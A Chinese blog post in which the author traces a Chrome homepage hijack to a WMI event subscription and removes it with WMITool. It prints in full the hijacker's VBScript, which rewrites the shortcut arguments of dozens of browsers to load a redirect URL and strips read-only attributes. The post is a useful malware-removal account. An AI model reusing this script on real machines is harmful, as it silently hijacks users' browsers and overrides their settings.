预览模式: 普通 | 列表

谷歌chrome浏览器首页被却持的拯救办法

事情发生在昨天发现谷歌的Chrome浏览器的快捷方式不见了,会不会是被某某安全软件给删除了,因为此软件有一次跳出来好几个提示lnk结尾的文件需要清理,我看了一下就按下了“一键清理”。删除就删除,我重新建一个快捷键就可以了,前几天因为要处理一个电脑问题,在本机上查看好多资料和工具,下载后安装,难免会有几个软件会改浏览器的首页,但这次不同了,打开谷歌浏览器chrome突然发现它被http://hao*42.com/?r=b&m=e10的主页地址给劫持绑定了,改Chrome设置也没用,改注册表无效,居然查找不到。最后chrome
快捷方式后面的这个http://hao*42.com/?r=b&m=e10地址去掉,加只读和隐藏属性,以为这
样子就搞定了,结果几分钟后再次打开Chrome,又是http://hao*42.com/?r=b&m=e10的地址。
 
78
 
怎么办呢!只有上网请教百度了,网上找了很多方法,除了改名,其它的方法都不行,功夫不负有心人,最后终于在csdn.net上找到了方法,跟我的问题十分相似,略有不同。此资料说这应该是一个通过WMI发起的定时自动运行脚本。要查看WMI事件,到以下地址下载WMITool并安装(此软件有一定的副作用,请慎用,反正我是皮试通过:)链接:http://pan.baidu.com/s/1hrO5T32密码:s69f
安装后打开WMIeventviewer,点击左上角register forevents,弹出Connecttonamespace框,填入“root\subscription”,(或者默认的那个进
/root/CIMV2)确定,出现下图:
 
 
77
 
 
 
79
(下面是我复制出来的script Text里的Value值,看
 
到亮点了吗,好家伙,终于被找到了!
On Error Resume Next:Const link = "http://hao*42.com/?r=b&m=e10":Const link360 = "http://hao*42.com/?r=b&m=e10&s=3":browsers = "114ie.exe,115chrome.exe,1616browser.exe,2345chrome.exe,2345explorer.exe,360se.exe,360chrome.exe,avant.exe,baidubrowser.exe,chgreenbrowser.exe,chrome.exe,firefox.exe,greenbrowser.exe,iexplore.exe,juzi.exe,kbrowser.exe,launcher.exe,liebao.exe,maxthon.exe,niuniubrowser.exe,qqbrowser.exe,sogouexplorer.exe,srie.exe,tango3.exe,theworld.exe,tiantian.exe,twchrome.exe,ucbrowser.exe,webgamegt.exe,xbrowser.exe,xttbrowser.exe,yidian.exe,yyexplorer.exe":lnkpaths = "C:\Users\Public\Desktop,C:\ProgramData\Microsoft\Windows\Start Menu\Programs,C:\Users\Administrator\Desktop,C:\Users\Administrator\AppData\Roaming\Microsoft\Internet Explorer\QuickLaunch,C:\Users\Administrator\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\UserPinned\StartMenu,C:\Users\Administrator\AppData\Roaming\Microsoft\InternetExplorer\QuickLaunch\UserPinned\TaskBar,C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs":browsersArr = split(browsers,","):Set oDic = CreateObject("scripting.dictionary"):For Each browser In browsersArr:oDic.Add LCase(browser), browser:Next:lnkpathsArr = split(lnkpaths,","):Set oFolders = CreateObject("scripting.dictionary"):For Each lnkpath In lnkpathsArr:oFolders.Add lnkpath, lnkpath:Next:Set fso = CreateObject("Scripting.Filesystemobject"):Set WshShell = CreateObject("Wscript.Shell"):For Each oFolder In oFolders:If fso.FolderExists(oFolder) Then:For Each file In fso.GetFolder(oFolder).Files:If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then:Set oShellLink = WshShell.CreateShortcut(file.Path):path = oShellLink.TargetPath:name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path):If oDic.Exists(LCase(name)) Then:If LCase(name) = LCase("360se.exe") Then:oShellLink.Arguments = link360:Else:oShellLink.Arguments = link:End If:If file.Attributes And 1 Then:file.Attributes = file.Attributes - 1:End If:oShellLink.Save:End If:End If:Next:End If:Next:
 
最后清除方法:在WMI event viewer中将这个项目右键删除!一开始我也抱着试试看的心态去尝试,结果成功了!本文参考了 作者不应有的淡定 写的文章:
 
 
 
 
分类:雕虫小技 | 固定链接 | 评论: 0 | 引用: 0 | 查看次数: 2631